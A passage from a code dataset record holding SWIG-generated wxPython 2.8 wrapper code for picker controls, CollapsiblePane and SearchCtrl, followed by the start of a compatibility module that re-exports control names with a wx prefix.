**kwargs)\n\n def GetTextCtrlValue(*args, **kwargs):\n \"\"\"GetTextCtrlValue(self) -> String\"\"\"\n return _controls_.DirPickerCtrl_GetTextCtrlValue(*args, **kwargs)\n\n Path = property(GetPath,SetPath,doc=\"See `GetPath` and `SetPath`\") \n TextCtrlValue = property(GetTextCtrlValue,doc=\"See `GetTextCtrlValue`\") \n_controls_.DirPickerCtrl_swigregister(DirPickerCtrl)\n\ndef PreDirPickerCtrl(*args, **kwargs):\n \"\"\"PreDirPickerCtrl() -> DirPickerCtrl\"\"\"\n val = _controls_.new_PreDirPickerCtrl(*args, **kwargs)\n return val\n\nwxEVT_COMMAND_FILEPICKER_CHANGED = _controls_.wxEVT_COMMAND_FILEPICKER_CHANGED\nwxEVT_COMMAND_DIRPICKER_CHANGED = _controls_.wxEVT_COMMAND_DIRPICKER_CHANGED\nEVT_FILEPICKER_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_FILEPICKER_CHANGED, 1 )\nEVT_DIRPICKER_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_DIRPICKER_CHANGED, 1 )\n\nclass FileDirPickerEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ FileDirPickerEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, EventType type, Object generator, int id, String path) -> FileDirPickerEvent\"\"\"\n _controls_.FileDirPickerEvent_swiginit(self,_controls_.new_FileDirPickerEvent(*args, **kwargs))\n def GetPath(*args, **kwargs):\n \"\"\"GetPath(self) -> String\"\"\"\n return _controls_.FileDirPickerEvent_GetPath(*args, **kwargs)\n\n def SetPath(*args, **kwargs):\n \"\"\"SetPath(self, String p)\"\"\"\n return _controls_.FileDirPickerEvent_SetPath(*args, **kwargs)\n\n Path = property(GetPath,SetPath,doc=\"See `GetPath` and `SetPath`\") \n_controls_.FileDirPickerEvent_swigregister(FileDirPickerEvent)\n\n#---------------------------------------------------------------------------\n\nFNTP_FONTDESC_AS_LABEL = _controls_.FNTP_FONTDESC_AS_LABEL\nFNTP_USEFONT_FOR_LABEL = _controls_.FNTP_USEFONT_FOR_LABEL\nFNTP_USE_TEXTCTRL = _controls_.FNTP_USE_TEXTCTRL\nFNTP_DEFAULT_STYLE = _controls_.FNTP_DEFAULT_STYLE\nclass FontPickerCtrl(PickerBase):\n \"\"\"Proxy of C++ FontPickerCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Font initial=wxNullFont, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=FNTP_DEFAULT_STYLE, Validator validator=DefaultValidator, \n String name=FontPickerCtrlNameStr) -> FontPickerCtrl\n \"\"\"\n _controls_.FontPickerCtrl_swiginit(self,_controls_.new_FontPickerCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Font initial=wxNullFont, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=FNTP_DEFAULT_STYLE, Validator validator=DefaultValidator, \n String name=FontPickerCtrlNameStr) -> bool\n \"\"\"\n return _controls_.FontPickerCtrl_Create(*args, **kwargs)\n\n def GetSelectedFont(*args, **kwargs):\n \"\"\"GetSelectedFont(self) -> Font\"\"\"\n return _controls_.FontPickerCtrl_GetSelectedFont(*args, **kwargs)\n\n def SetSelectedFont(*args, **kwargs):\n \"\"\"SetSelectedFont(self, Font f)\"\"\"\n return _controls_.FontPickerCtrl_SetSelectedFont(*args, **kwargs)\n\n def SetMaxPointSize(*args, **kwargs):\n \"\"\"SetMaxPointSize(self, unsigned int max)\"\"\"\n return _controls_.FontPickerCtrl_SetMaxPointSize(*args, **kwargs)\n\n def GetMaxPointSize(*args, **kwargs):\n \"\"\"GetMaxPointSize(self) -> unsigned int\"\"\"\n return _controls_.FontPickerCtrl_GetMaxPointSize(*args, **kwargs)\n\n MaxPointSize = property(GetMaxPointSize,SetMaxPointSize,doc=\"See `GetMaxPointSize` and `SetMaxPointSize`\") \n SelectedFont = property(GetSelectedFont,SetSelectedFont,doc=\"See `GetSelectedFont` and `SetSelectedFont`\") \n_controls_.FontPickerCtrl_swigregister(FontPickerCtrl)\nFontPickerCtrlNameStr = cvar.FontPickerCtrlNameStr\n\ndef PreFontPickerCtrl(*args, **kwargs):\n \"\"\"PreFontPickerCtrl() -> FontPickerCtrl\"\"\"\n val = _controls_.new_PreFontPickerCtrl(*args, **kwargs)\n return val\n\nwxEVT_COMMAND_FONTPICKER_CHANGED = _controls_.wxEVT_COMMAND_FONTPICKER_CHANGED\nEVT_FONTPICKER_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_FONTPICKER_CHANGED, 1 )\n\nclass FontPickerEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ FontPickerEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Object generator, int id, Font f) -> FontPickerEvent\"\"\"\n _controls_.FontPickerEvent_swiginit(self,_controls_.new_FontPickerEvent(*args, **kwargs))\n def GetFont(*args, **kwargs):\n \"\"\"GetFont(self) -> Font\"\"\"\n return _controls_.FontPickerEvent_GetFont(*args, **kwargs)\n\n def SetFont(*args, **kwargs):\n \"\"\"SetFont(self, Font c)\"\"\"\n return _controls_.FontPickerEvent_SetFont(*args, **kwargs)\n\n Font = property(GetFont,SetFont,doc=\"See `GetFont` and `SetFont`\") \n_controls_.FontPickerEvent_swigregister(FontPickerEvent)\n\n#---------------------------------------------------------------------------\n\nCP_DEFAULT_STYLE = _controls_.CP_DEFAULT_STYLE\nCP_NO_TLW_RESIZE = _controls_.CP_NO_TLW_RESIZE\nclass CollapsiblePane(_core.Control):\n \"\"\"\n A collapsable pane is a container with an embedded button-like\n control which can be used by the user to collapse or expand the pane's\n contents.\n\n Once constructed you should use the `GetPane` function to access the\n pane and add your controls inside it (i.e. use the window returned\n from `GetPane` as the parent for the controls which must go in the\n pane, NOT the wx.CollapsiblePane itself!).\n\n Note that because of its nature of control which can dynamically (and\n drastically) change its size at run-time under user-input, when\n putting a wx.CollapsiblePane inside a `wx.Sizer` you should be careful\n to add it with a proportion value of zero; this is because otherwise\n all other windows with non-zero proportion values would automatically\n get resized each time the user expands or collapses the pane window,\n usually resulting a weird, flickering effect.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int winid=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=CP_DEFAULT_STYLE, Validator val=DefaultValidator, \n String name=CollapsiblePaneNameStr) -> CollapsiblePane\n\n Create and show a wx.CollapsiblePane\n \"\"\"\n _controls_.CollapsiblePane_swiginit(self,_controls_.new_CollapsiblePane(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int winid=-1, String label=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=CP_DEFAULT_STYLE, Validator val=DefaultValidator, \n String name=CollapsiblePaneNameStr) -> bool\n \"\"\"\n return _controls_.CollapsiblePane_Create(*args, **kwargs)\n\n def Collapse(*args, **kwargs):\n \"\"\"\n Collapse(self, bool collapse=True)\n\n Collapses or expands the pane window.\n \"\"\"\n return _controls_.CollapsiblePane_Collapse(*args, **kwargs)\n\n def Expand(*args, **kwargs):\n \"\"\"\n Expand(self)\n\n Same as Collapse(False).\n \"\"\"\n return _controls_.CollapsiblePane_Expand(*args, **kwargs)\n\n def IsCollapsed(*args, **kwargs):\n \"\"\"\n IsCollapsed(self) -> bool\n\n Returns ``True`` if the pane window is currently hidden.\n \"\"\"\n return _controls_.CollapsiblePane_IsCollapsed(*args, **kwargs)\n\n def IsExpanded(*args, **kwargs):\n \"\"\"\n IsExpanded(self) -> bool\n\n Returns ``True`` if the pane window is currently shown.\n \"\"\"\n return _controls_.CollapsiblePane_IsExpanded(*args, **kwargs)\n\n def GetPane(*args, **kwargs):\n \"\"\"\n GetPane(self) -> Window\n\n Returns a reference to the pane window. Use the returned `wx.Window`\n as the parent of widgets to make them part of the collapsible area.\n \"\"\"\n return _controls_.CollapsiblePane_GetPane(*args, **kwargs)\n\n Expanded = property(IsExpanded) \n Collapsed = property(IsCollapsed) \n_controls_.CollapsiblePane_swigregister(CollapsiblePane)\nCollapsiblePaneNameStr = cvar.CollapsiblePaneNameStr\n\ndef PreCollapsiblePane(*args, **kwargs):\n \"\"\"\n PreCollapsiblePane() -> CollapsiblePane\n\n Precreate a wx.CollapsiblePane for 2-phase creation.\n \"\"\"\n val = _controls_.new_PreCollapsiblePane(*args, **kwargs)\n return val\n\nwxEVT_COMMAND_COLLPANE_CHANGED = _controls_.wxEVT_COMMAND_COLLPANE_CHANGED\nEVT_COLLAPSIBLEPANE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_COLLPANE_CHANGED, 1 )\n\nclass CollapsiblePaneEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ CollapsiblePaneEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, Object generator, int id, bool collapsed) -> CollapsiblePaneEvent\"\"\"\n _controls_.CollapsiblePaneEvent_swiginit(self,_controls_.new_CollapsiblePaneEvent(*args, **kwargs))\n def GetCollapsed(*args, **kwargs):\n \"\"\"GetCollapsed(self) -> bool\"\"\"\n return _controls_.CollapsiblePaneEvent_GetCollapsed(*args, **kwargs)\n\n def SetCollapsed(*args, **kwargs):\n \"\"\"SetCollapsed(self, bool c)\"\"\"\n return _controls_.CollapsiblePaneEvent_SetCollapsed(*args, **kwargs)\n\n Collapsed = property(GetCollapsed,SetCollapsed) \n_controls_.CollapsiblePaneEvent_swigregister(CollapsiblePaneEvent)\n\n#---------------------------------------------------------------------------\n\nclass SearchCtrl(TextCtrl):\n \"\"\"\n A search control is a composite of a `wx.TextCtrl` with optional\n bitmap buttons and a drop-down menu. Controls like this can typically\n be found on a toolbar of applications that support some form of search\n functionality. On the Mac this control is implemented using the\n native HISearchField control, on the other platforms a generic control\n is used, although that may change in the future as more platforms\n introduce native search widgets.\n\n If you wish to use a drop-down menu with your wx.SearchCtrl then you\n will need to manage its content and handle the menu events yourself,\n but this is an easy thing to do. Simply build the menu, pass it to\n `SetMenu`, and also bind a handler for a range of EVT_MENU events.\n This gives you the flexibility to use the drop-down menu however you\n wish, such as for a history of searches, or as a way to select\n different kinds of searches. The ToolBar.py sample in the demo shows\n one way to do this.\n\n Since the control derives from `wx.TextCtrl` it is convenient to use\n the styles and events designed for `wx.TextCtrl`. For example you can\n use the ``wx.TE_PROCESS_ENTER`` style and catch the\n ``wx.EVT_TEXT_ENTER`` event to know when the user has pressed the\n Enter key in the control and wishes to start a search.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String value=wxEmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=SearchCtrlNameStr) -> SearchCtrl\n\n A search control is a composite of a `wx.TextCtrl` with optional\n bitmap buttons and a drop-down menu. Controls like this can typically\n be found on a toolbar of applications that support some form of search\n functionality. On the Mac this control is implemented using the\n native HISearchField control, on the other platforms a generic control\n is used, although that may change in the future as more platforms\n introduce native search widgets.\n\n If you wish to use a drop-down menu with your wx.SearchCtrl then you\n will need to manage its content and handle the menu events yourself,\n but this is an easy thing to do. Simply build the menu, pass it to\n `SetMenu`, and also bind a handler for a range of EVT_MENU events.\n This gives you the flexibility to use the drop-down menu however you\n wish, such as for a history of searches, or as a way to select\n different kinds of searches. The ToolBar.py sample in the demo shows\n one way to do this.\n\n Since the control derives from `wx.TextCtrl` it is convenient to use\n the styles and events designed for `wx.TextCtrl`. For example you can\n use the ``wx.TE_PROCESS_ENTER`` style and catch the\n ``wx.EVT_TEXT_ENTER`` event to know when the user has pressed the\n Enter key in the control and wishes to start a search.\n\n \"\"\"\n _controls_.SearchCtrl_swiginit(self,_controls_.new_SearchCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String value=wxEmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=SearchCtrlNameStr) -> bool\n \"\"\"\n return _controls_.SearchCtrl_Create(*args, **kwargs)\n\n def SetMenu(*args, **kwargs):\n \"\"\"\n SetMenu(self, Menu menu)\n\n Sets the search control's menu object. If there is already a menu\n associated with the search control it is deleted.\n \"\"\"\n return _controls_.SearchCtrl_SetMenu(*args, **kwargs)\n\n def GetMenu(*args, **kwargs):\n \"\"\"\n GetMenu(self) -> Menu\n\n Returns a pointer to the search control's menu object or None if there\n is no menu attached.\n \"\"\"\n return _controls_.SearchCtrl_GetMenu(*args, **kwargs)\n\n def ShowSearchButton(*args, **kwargs):\n \"\"\"\n ShowSearchButton(self, bool show)\n\n Sets the search button visibility value on the search control. If\n there is a menu attached, the search button will be visible regardless\n of the search button visibility value. This has no effect in Mac OS X\n v10.3\n \"\"\"\n return _controls_.SearchCtrl_ShowSearchButton(*args, **kwargs)\n\n def IsSearchButtonVisible(*args, **kwargs):\n \"\"\"\n IsSearchButtonVisible(self) -> bool\n\n Returns the search button visibility value. If there is a menu\n attached, the search button will be visible regardless of the search\n button visibility value. This always returns false in Mac OS X v10.3\n \"\"\"\n return _controls_.SearchCtrl_IsSearchButtonVisible(*args, **kwargs)\n\n def ShowCancelButton(*args, **kwargs):\n \"\"\"\n ShowCancelButton(self, bool show)\n\n Shows or hides the cancel button.\n \"\"\"\n return _controls_.SearchCtrl_ShowCancelButton(*args, **kwargs)\n\n def IsCancelButtonVisible(*args, **kwargs):\n \"\"\"\n IsCancelButtonVisible(self) -> bool\n\n Indicates whether the cancel button is visible. \n \"\"\"\n return _controls_.SearchCtrl_IsCancelButtonVisible(*args, **kwargs)\n\n def SetDescriptiveText(*args, **kwargs):\n \"\"\"\n SetDescriptiveText(self, String text)\n\n Set the text to be displayed when the user has not yet typed anything\n in the control.\n \"\"\"\n return _controls_.SearchCtrl_SetDescriptiveText(*args, **kwargs)\n\n def GetDescriptiveText(*args, **kwargs):\n \"\"\"\n GetDescriptiveText(self) -> String\n\n Get the text to be displayed when the user has not yet typed anything\n in the control.\n \"\"\"\n return _controls_.SearchCtrl_GetDescriptiveText(*args, **kwargs)\n\n def SetSearchBitmap(*args, **kwargs):\n \"\"\"\n SetSearchBitmap(self, Bitmap bitmap)\n\n Sets the bitmap to use for the search button. This currently does not\n work on the Mac.\n \"\"\"\n return _controls_.SearchCtrl_SetSearchBitmap(*args, **kwargs)\n\n def SetSearchMenuBitmap(*args, **kwargs):\n \"\"\"\n SetSearchMenuBitmap(self, Bitmap bitmap)\n\n Sets the bitmap to use for the search button when there is a drop-down\n menu associated with the search control. This currently does not work\n on the Mac.\n \"\"\"\n return _controls_.SearchCtrl_SetSearchMenuBitmap(*args, **kwargs)\n\n def SetCancelBitmap(*args, **kwargs):\n \"\"\"\n SetCancelBitmap(self, Bitmap bitmap)\n\n Sets the bitmap to use for the cancel button. This currently does not\n work on the Mac.\n \"\"\"\n return _controls_.SearchCtrl_SetCancelBitmap(*args, **kwargs)\n\n Menu = property(GetMenu,SetMenu) \n SearchButtonVisible = property(IsSearchButtonVisible,ShowSearchButton) \n CancelButtonVisible = property(IsCancelButtonVisible,ShowCancelButton) \n DescriptiveText = property(GetDescriptiveText,SetDescriptiveText) \n_controls_.SearchCtrl_swigregister(SearchCtrl)\nSearchCtrlNameStr = cvar.SearchCtrlNameStr\n\ndef PreSearchCtrl(*args, **kwargs):\n \"\"\"\n PreSearchCtrl() -> SearchCtrl\n\n Precreate a wx.SearchCtrl for 2-phase creation.\n \"\"\"\n val = _controls_.new_PreSearchCtrl(*args, **kwargs)\n return val\n\nwxEVT_COMMAND_SEARCHCTRL_CANCEL_BTN = _controls_.wxEVT_COMMAND_SEARCHCTRL_CANCEL_BTN\nwxEVT_COMMAND_SEARCHCTRL_SEARCH_BTN = _controls_.wxEVT_COMMAND_SEARCHCTRL_SEARCH_BTN\nEVT_SEARCHCTRL_CANCEL_BTN = wx.PyEventBinder( wxEVT_COMMAND_SEARCHCTRL_CANCEL_BTN, 1)\nEVT_SEARCHCTRL_SEARCH_BTN = wx.PyEventBinder( wxEVT_COMMAND_SEARCHCTRL_SEARCH_BTN, 1)\n\n#---------------------------------------------------------------------------\n\nclass PyAxBaseWindow(_core.Window):\n \"\"\"Proxy of C++ PyAxBaseWindow class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, String name=PanelNameStr) -> PyAxBaseWindow\n \"\"\"\n _controls_.PyAxBaseWindow_swiginit(self,_controls_.new_PyAxBaseWindow(*args, **kwargs))\n self._setOORInfo(self);PyAxBaseWindow._setCallbackInfo(self, self, PyAxBaseWindow)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _controls_.PyAxBaseWindow__setCallbackInfo(*args, **kwargs)\n\n def MSWTranslateMessage(*args, **kwargs):\n \"\"\"MSWTranslateMessage(self, long msg) -> bool\"\"\"\n return _controls_.PyAxBaseWindow_MSWTranslateMessage(*args, **kwargs)\n\n_controls_.PyAxBaseWindow_swigregister(PyAxBaseWindow)\n\ndef PrePyAxBaseWindow(*args, **kwargs):\n \"\"\"PrePyAxBaseWindow() -> PyAxBaseWindow\"\"\"\n val = _controls_.new_PrePyAxBaseWindow(*args, **kwargs)\n return val\n\n\ndef PyAxBaseWindow_FromHWND(*args, **kwargs):\n \"\"\"PyAxBaseWindow_FromHWND(Window parent, unsigned long _hWnd) -> PyAxBaseWindow\"\"\"\n return _controls_.PyAxBaseWindow_FromHWND(*args, **kwargs)\n\n\n", "id": "8860225", "language": "Python", "matching_score": 7.261075019836426, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/_controls.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx._controls\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxButtonNameStr = wx._controls.ButtonNameStr\nwxBU_LEFT = wx._controls.BU_LEFT\nwxBU_TOP = wx._controls.BU_TOP\nwxBU_RIGHT = wx._controls.BU_RIGHT\nwxBU_BOTTOM = wx._controls.BU_BOTTOM\nwxBU_ALIGN_MASK = wx._controls.BU_ALIGN_MASK\nwxBU_EXACTFIT = wx._controls.BU_EXACTFIT\nwxBU_AUTODRAW = wx._controls.BU_AUTODRAW\nwxButton = wx._controls.Button\nwxPreButton = wx._controls.PreButton\nwxButton_GetDefaultSize = wx._controls.Button_GetDefaultSize\nwxButton_GetClassDefaultAttributes = wx._controls.Button_GetClassDefaultAttributes\nwxBitmapButton = wx._controls.BitmapButton\nwxPreBitmapButton = wx._controls.PreBitmapButton\nwxCheckBoxNameStr = wx._controls.CheckBoxNameStr\nwxCHK_2STATE = wx._controls.CHK_2STATE\nwxCHK_3STATE = wx._controls.CHK_3STATE\nwxCHK_ALLOW_3RD_STATE_FOR_USER = wx._controls.CHK_ALLOW_3RD_STATE_FOR_USER\nwxCHK_UNCHECKED = wx._controls.CHK_UNCHECKED\nwxCHK_CHECKED = wx._controls.CHK_CHECKED\nwxCHK_UNDETERMINED = wx._controls.CHK_UNDETERMINED\nwxCheckBox = wx._controls.CheckBox\nwxPreCheckBox = wx._controls.PreCheckBox\nwxCheckBox_GetClassDefaultAttributes = wx._controls.CheckBox_GetClassDefaultAttributes\nwxChoiceNameStr = wx._controls.ChoiceNameStr\nwxChoice = wx._controls.Choice\nwxPreChoice = wx._controls.PreChoice\nwxChoice_GetClassDefaultAttributes = wx._controls.Choice_GetClassDefaultAttributes\nwxComboBoxNameStr = wx._controls.ComboBoxNameStr\nwxComboBox = wx._controls.ComboBox\nwxPreComboBox = wx._controls.PreComboBox\nwxComboBox_GetClassDefaultAttributes = wx._controls.ComboBox_GetClassDefaultAttributes\nwxGaugeNameStr = wx._controls.GaugeNameStr\nwxGA_HORIZONTAL = wx._controls.GA_HORIZONTAL\nwxGA_VERTICAL = wx._controls.GA_VERTICAL\nwxGA_SMOOTH = wx._controls.GA_SMOOTH\nwxGauge = wx._controls.Gauge\nwxPreGauge = wx._controls.PreGauge\nwxGauge_GetClassDefaultAttributes = wx._controls.Gauge_GetClassDefaultAttributes\nwxStaticBitmapNameStr = wx._controls.StaticBitmapNameStr\nwxStaticBoxNameStr = wx._controls.StaticBoxNameStr\nwxStaticTextNameStr = wx._controls.StaticTextNameStr\nwxStaticBox = wx._controls.StaticBox\nwxPreStaticBox = wx._controls.PreStaticBox\nwxStaticBox_GetClassDefaultAttributes = wx._controls.StaticBox_GetClassDefaultAttributes\nwxStaticLine = wx._controls.StaticLine\nwxPreStaticLine = wx._controls.PreStaticLine\nwxStaticLine_GetDefaultSize = wx._controls.StaticLine_GetDefaultSize\nwxStaticLine_GetClassDefaultAttributes = wx._controls.StaticLine_GetClassDefaultAttributes\nwxStaticText = wx._controls.StaticText\nwxPreStaticText = wx._controls.PreStaticText\nwxStaticText_GetClassDefaultAttributes = wx._controls.StaticText_GetClassDefaultAttributes\nwxStaticBitmap = wx._controls.StaticBitmap\nwxPreStaticBitmap = wx._controls.PreStaticBitmap\nwxStaticBitmap_GetClassDefaultAttributes = wx._controls.StaticBitmap_GetClassDefaultAttributes\nwxListBoxNameStr = wx._controls.ListBoxNameStr\nwxListBox = wx._controls.ListBox\nwxPreListBox = wx._controls.PreListBox\nwxListBox_GetClassDefaultAttributes = wx._controls.ListBox_GetClassDefaultAttributes\nwxCheckListBox = wx._controls.CheckListBox\nwxPreCheckListBox = wx._controls.PreCheckListBox\nwxTextCtrlNameStr = wx._controls.TextCtrlNameStr\nwxTE_NO_VSCROLL = wx._controls.TE_NO_VSCROLL\nwxTE_AUTO_SCROLL = wx._controls.TE_AUTO_SCROLL\nwxTE_READONLY = wx._controls.TE_READONLY\nwxTE_MULTILINE = wx._controls.TE_MULTILINE\nwxTE_PROCESS_TAB = wx._controls.TE_PROCESS_TAB\nwxTE_LEFT = wx._controls.TE_LEFT\nwxTE_CENTER = wx._controls.TE_CENTER\nwxTE_RIGHT = wx._controls.TE_RIGHT\nwxTE_CENTRE = wx._controls.TE_CENTRE\nwxTE_RICH = wx._controls.TE_RICH\nwxTE_PROCESS_ENTER = wx._controls.TE_PROCESS_ENTER\nwxTE_PASSWORD = wx._controls.TE_PASSWORD\nwxTE_AUTO_URL = wx._controls.TE_AUTO_URL\nwxTE_NOHIDESEL = wx._controls.TE_NOHIDESEL\nwxTE_DONTWRAP = wx._controls.TE_DONTWRAP\nwxTE_CHARWRAP = wx._controls.TE_CHARWRAP\nwxTE_WORDWRAP = wx._controls.TE_WORDWRAP\nwxTE_BESTWRAP = wx._controls.TE_BESTWRAP\nwxTE_RICH2 = wx._controls.TE_RICH2\nwxTE_CAPITALIZE = wx._controls.TE_CAPITALIZE\nwxTEXT_ALIGNMENT_DEFAULT = wx._controls.TEXT_ALIGNMENT_DEFAULT\nwxTEXT_ALIGNMENT_LEFT = wx._controls.TEXT_ALIGNMENT_LEFT\nwxTEXT_ALIGNMENT_CENTRE = wx._controls.TEXT_ALIGNMENT_CENTRE\nwxTEXT_ALIGNMENT_CENTER = wx._controls.TEXT_ALIGNMENT_CENTER\nwxTEXT_ALIGNMENT_RIGHT = wx._controls.TEXT_ALIGNMENT_RIGHT\nwxTEXT_ALIGNMENT_JUSTIFIED = wx._controls.TEXT_ALIGNMENT_JUSTIFIED\nwxTEXT_ATTR_TEXT_COLOUR = wx._controls.TEXT_ATTR_TEXT_COLOUR\nwxTEXT_ATTR_BACKGROUND_COLOUR = wx._controls.TEXT_ATTR_BACKGROUND_COLOUR\nwxTEXT_ATTR_FONT_FACE = wx._controls.TEXT_ATTR_FONT_FACE\nwxTEXT_ATTR_FONT_SIZE = wx._controls.TEXT_ATTR_FONT_SIZE\nwxTEXT_ATTR_FONT_WEIGHT = wx._controls.TEXT_ATTR_FONT_WEIGHT\nwxTEXT_ATTR_FONT_ITALIC = wx._controls.TEXT_ATTR_FONT_ITALIC\nwxTEXT_ATTR_FONT_UNDERLINE = wx._controls.TEXT_ATTR_FONT_UNDERLINE\nwxTEXT_ATTR_FONT = wx._controls.TEXT_ATTR_FONT\nwxTEXT_ATTR_ALIGNMENT = wx._controls.TEXT_ATTR_ALIGNMENT\nwxTEXT_ATTR_LEFT_INDENT = wx._controls.TEXT_ATTR_LEFT_INDENT\nwxTEXT_ATTR_RIGHT_INDENT = wx._controls.TEXT_ATTR_RIGHT_INDENT\nwxTEXT_ATTR_TABS = wx._controls.TEXT_ATTR_TABS\nwxTE_HT_UNKNOWN = wx._controls.TE_HT_UNKNOWN\nwxTE_HT_BEFORE = wx._controls.TE_HT_BEFORE\nwxTE_HT_ON_TEXT = wx._controls.TE_HT_ON_TEXT\nwxTE_HT_BELOW = wx._controls.TE_HT_BELOW\nwxTE_HT_BEYOND = wx._controls.TE_HT_BEYOND\nwxOutOfRangeTextCoord = wx._controls.OutOfRangeTextCoord\nwxInvalidTextCoord = wx._controls.InvalidTextCoord\nwxTextAttr = wx._controls.TextAttr\nwxTextAttr_Merge = wx._controls.TextAttr_Merge\nwxTextAttr_Combine = wx._controls.TextAttr_Combine\nwxTextCtrl = wx._controls.TextCtrl\nwxPreTextCtrl = wx._controls.PreTextCtrl\nwxTextCtrl_GetClassDefaultAttributes = wx._controls.TextCtrl_GetClassDefaultAttributes\nwxEVT_COMMAND_TEXT_UPDATED = wx._controls.wxEVT_COMMAND_TEXT_UPDATED\nwxEVT_COMMAND_TEXT_ENTER = wx._controls.wxEVT_COMMAND_TEXT_ENTER\nwxEVT_COMMAND_TEXT_URL = wx._controls.wxEVT_COMMAND_TEXT_URL\nwxEVT_COMMAND_TEXT_MAXLEN = wx._controls.wxEVT_COMMAND_TEXT_MAXLEN\nwxTextUrlEvent = wx._controls.TextUrlEvent\nwxScrollBarNameStr = wx._controls.ScrollBarNameStr\nwxScrollBar = wx._controls.ScrollBar\nwxPreScrollBar = wx._controls.PreScrollBar\nwxScrollBar_GetClassDefaultAttributes = wx._controls.ScrollBar_GetClassDefaultAttributes\nwxSPIN_BUTTON_NAME = wx._controls.SPIN_BUTTON_NAME\nwxSpinCtrlNameStr = wx._controls.SpinCtrlNameStr\nwxSP_HORIZONTAL = wx._controls.SP_HORIZONTAL\nwxSP_VERTICAL = wx._controls.SP_VERTICAL\nwxSP_ARROW_KEYS = wx._controls.SP_ARROW_KEYS\nwxSP_WRAP = wx._controls.SP_WRAP\nwxSpinButton = wx._controls.SpinButton\nwxPreSpinButton = wx._controls.PreSpinButton\nwxSpinButton_GetClassDefaultAttributes = wx._controls.SpinButton_GetClassDefaultAttributes\nwxSpinCtrl = wx._controls.SpinCtrl\nwxPreSpinCtrl = wx._controls.PreSpinCtrl\nwxSpinCtrl_GetClassDefaultAttributes = wx._controls.SpinCtrl_GetClassDefaultAttributes\nwxSpinEvent = wx._controls.SpinEvent\nwxEVT_COMMAND_SPINCTRL_UPDATED = wx._controls.wxEVT_COMMAND_SPINCTRL_UPDATED\nwxRadioBoxNameStr = wx._controls.RadioBoxNameStr\nwxRadioButtonNameStr = wx._controls.RadioButtonNameStr\nwxRadioBox = wx._controls.RadioBox\nwxPreRadioBox = wx._controls.PreRadioBox\nwxRadioBox_GetClassDefaultAttributes = wx._controls.RadioBox_GetClassDefaultAttributes\nwxRadioButton = wx._controls.RadioButton\nwxPreRadioButton = wx._controls.PreRadioButton\nwxRadioButton_GetClassDefaultAttributes = wx._controls.RadioButton_GetClassDefaultAttributes\nwxSliderNameStr = wx._controls.SliderNameStr\nwxSL_HORIZONTAL = wx._controls.SL_HORIZONTAL\nwxSL_VERTICAL = wx._controls.SL_VERTICAL\nwxSL_TICKS = wx._controls.SL_TICKS\nwxSL_AUTOTICKS = wx._controls.SL_AUTOTICKS\nwxSL_LABELS = wx._controls.SL_LABELS\nwxSL_LEFT = wx._controls.SL_LEFT\nwxSL_TOP = wx._controls.SL_TOP\nwxSL_RIGHT = wx._controls.SL_RIGHT\nwxSL_BOTTOM = wx._controls.SL_BOTTOM\nwxSL_BOTH = wx._controls.SL_BOTH\nwxSL_SELRANGE = wx._controls.SL_SELRANGE\nwxSL_INVERSE = wx._controls.SL_INVERSE\nwxSlider = wx._controls.Slider\nwxPreSlider = wx._controls.PreSlider\nwxSlider_GetClassDefaultAttributes 